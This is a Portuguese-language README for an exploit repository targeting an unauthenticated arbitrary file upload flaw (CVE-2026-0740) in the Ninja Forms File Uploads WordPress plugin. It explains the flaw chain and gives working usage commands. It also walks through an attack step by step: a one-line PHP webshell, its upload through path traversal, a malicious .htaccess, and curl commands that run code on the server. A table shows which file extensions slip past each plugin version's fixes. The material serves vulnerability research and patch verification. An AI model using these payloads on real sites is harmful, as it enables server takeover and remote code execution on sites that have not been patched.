
Ninja Forms File Uploads <= 3.3.26 - Upload arbitrário de arquivos sem autenticação para RCE (CVE-2026-0740)
Exploit para CVE-2026-0740 descoberto por Selim Lanouar (whattheslime).
Para um aprofundamento técnico completo, leia o artigo completo no blog da Lexfo.
Este repositório é fornecido apenas para fins de pesquisa e segurança defensiva.
O autor não se responsabiliza pelo uso indevido destas informações.
O plugin Ninja Forms - File Uploads para WordPress é vulnerável a Upload Arbitrário de Arquivos Não Autenticado, levando à Execução Remota de Código em todas as versões até a 3.3.26 inclusive.
A vulnerabilidade foi originalmente descoberta e reportada na versão 3.3.23. A exploração é direta até a versão 3.3.24 (sem validação no nome do arquivo de destino). As versões 3.3.25 e 3.3.26 introduziram correções parciais sucessivas, mas o problema só é totalmente resolvido na versão 3.3.27.
A cadeia da vulnerabilidade é a seguinte:
nf_fu_get_new_nonce com um field_id arbitrário.nf_fu_upload valida a extensão do arquivo enviado (ex.: image.jpg), mas permite que o cliente sobrescreva o nome do arquivo de destino por meio de um parâmetro POST (image_jpg).move_uploaded_file() sem sanitização adequada, permitindo extensões arbitrárias e path traversal (../).Consulte o artigo completo no blog para a tabela completa de extensões e o aprofundamento técnico.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
O arquivo será gravado em wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
O arquivo será gravado em wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detectar versão
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Gravar webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Enviar
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Executar comandos
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Vetor / Extensão | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |